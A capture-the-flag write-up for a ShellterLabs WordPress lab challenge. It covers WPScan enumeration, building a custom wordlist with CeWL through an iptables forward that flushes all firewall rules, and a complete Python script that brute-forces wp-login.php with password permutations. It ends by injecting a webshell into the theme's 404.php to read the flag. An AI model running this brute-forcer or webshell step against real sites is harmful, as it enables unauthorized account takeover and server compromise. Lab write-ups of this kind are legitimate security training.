SHX8 : web200-freelyrics

Can you exploit this website and capture the flag? The manager uses a strong password. You won't be able to find it in any wordlist, not even rockyou. Go custom and be happy.

URL: http://lab.shellterlabs.com:32895/

Solution

Looks a default Wordpress installation w/ some posts and comments..

Fingerprinting with WPScan..

wpscan -u http://lab.shellterlabs.com:32912 --enumerate p  

Default themes/plugins and fully updated..

There's a warning about Akismet, but this is very common when WPScan can't confirm the plugin version.

Back to challenge description..

Can you exploit this website and capture the flag? The manager uses a strong password. You won't be able to find it in any wordlist, not even rockyou. Go custom and be happy.

At first sight, I missunderstood that by using a strong/unusual password the admin is excluding the possibility of some bruteforce attack. But, if you look closely, this website is full of words, maybe the description tip is pointing us to generate a targeted/custom wordlist.

WPScan enumerated the username singwithme, and we can confirm it by /wp-login.php

And it looks like it has no active protection against bruteforce.

So, launched CeWL to generate a worlist based on website content..

cewl http://lab.shellterlabs.com:32914 --write sing1.txt --depth 1 -v -o  

..and it not work as expected, because when CeWL goes spider offsite due to a CeWL bug it back to default http port 80, shellterlabs uses a custom port 32914

Yes, i've reported this issue to CeWL developers.

So, there's another tool called smeegescrape, but i really want to use CeWL to do this.

To work around this issue i've written some iptables rules and forwarded localhost:80 to lab.shellterlabs.com:32914

#!/bin/sh
# Forward a remote site:port to a localhost:port
# @author intrd - http://dann.com.br/
# @license Creative Commons Attribution-ShareAlike 4.0 International License - http://creativecommons.org/licenses/by-sa/4.0/
iptables -F
iptables -t nat -F
iptables -X
sysctl -w net.ipv4.conf.all.route_localnet=1
iptables -t nat -A OUTPUT -p tcp --dport 80 -j DNAT --to-destination 34.198.94.240:32914
iptables -t nat -A POSTROUTING -j MASQUERADE
cewl http://localhost --write sing1.txt --depth 1 -v -o  

Now it works flawlessly.

Then launched nozzlr w/ a custom template to bruteforce wordpress:

## Nozzlr template : HTTP POST bruteforcer (Solution to shx8 : web200-freelyrics (Wordpress custom bruteforce))
# @author intrd - http://dann.com.br/
# @license Creative Commons Attribution-ShareAlike 4.0 International License - http://creativecommons.org/licenses/by-sa/4.0/
import urllib, shutil, json, requests, pickle, os.path
target="http://lab.shellterlabs.com:32914"
def nozz_module(payload, self=False, founds=False):
payloads=':'.join(str(v) for v in payload.values())
s = requests.session()
use_proxy = False # Enable to proxied bruteforce
proxies = {
"http": "http://127.0.0.1:8080",
"https": "http://127.0.0.1:8080"
}
if use_proxy: s.proxies.update(proxies)
if not os.path.isfile("cookies"):
headers = {
'Upgrade-Insecure-Requests': '1',
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36',
}
params = (
('redirect_to', target+'/wp-admin/'),
('reauth', '1'),
)
result = s.get(target+'/wp-login.php', headers=headers, params=params, verify=False)
cookies=s.cookies
with open('cookies', 'w') as f:
pickle.dump(requests.utils.dict_from_cookiejar(cookies), f)
else:
with open('cookies') as f:
cookies = requests.utils.cookiejar_from_dict(pickle.load(f))
headers = {
'Origin': target,
'Upgrade-Insecure-Requests': '1',
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36',
'Content-Type': 'application/x-www-form-urlencoded',
'Referer': target+'/wp-login.php?redirect_to='+target+'%2Fwp-admin%2F&reauth=1',
}
postdata = {
"log": payload[0],
"pwd": payload[1],
## Customize your payload if u want
#"pwd": payload[1].lower(),
#"pwd": payload[1].upper(),
#"pwd": "0"+payload[1],
#"pwd": "1"+payload[1],
#"pwd": "2"+payload[1],
#"pwd": payload[1]+"123",
"wp-submit":"Log+In",
"testcookie":"1",
}
out={}
out["code"]=""
out["result"]=""
code="null"
try:
r = s.post(target+'/wp-login.php', headers=headers, data=postdata, cookies=cookies, verify=False)
#print r.status_code
except requests.exceptions.RequestException as e:
out["result"]=format(str(e)).strip()
out["code"]="error"
return out
if "The password you entered for the username" in r.content:
out["code"]="NEXT"
else:
#print r.content
#print payloads
out["code"]="found: \""+payloads+"\""
return out
nozzlr http_wordpress_bruteforce.py users.txt sing1.txt 30  

No success.
Considering that this challenge worth 200 points, ShellterLabs will not give us the flag so easily.

Well, back to description tip..

Go custom and be happy.

Let's try some permutations. Nozzlr is awesome because we can do this by code without the need to create other wordlists.

Considering payload[1] is every word from wordlist, I started from common permutations:

"pwd": payload[1].lower(),
...
"pwd": payload[1].upper(),
...
"pwd": "0"+payload[1],
"pwd": "1"+payload[1],
"pwd": "2"+payload[1],
"pwd": "3"+payload[1],
"pwd": "4"+payload[1],
"pwd": "5"+payload[1],
...
"pwd": payload[1]+"0",
"pwd": payload[1]+"1",
...

And luckly found the correct permutation!

The password gave me access to the wordpress admin panel!

Looked all over the panel but could not find tge flag. Maybe it would be in a file on the server so the next step was to get a shell..

Using wordpress built-in theme editor we can inject our webshell at some .php that is allowed to be accessed externally, i choose 404.php

..and we have our shell

find / -name *flag*  

cat /pathofflag/flag  

Thanks again ShellterLabs.
Awesome challenge!

References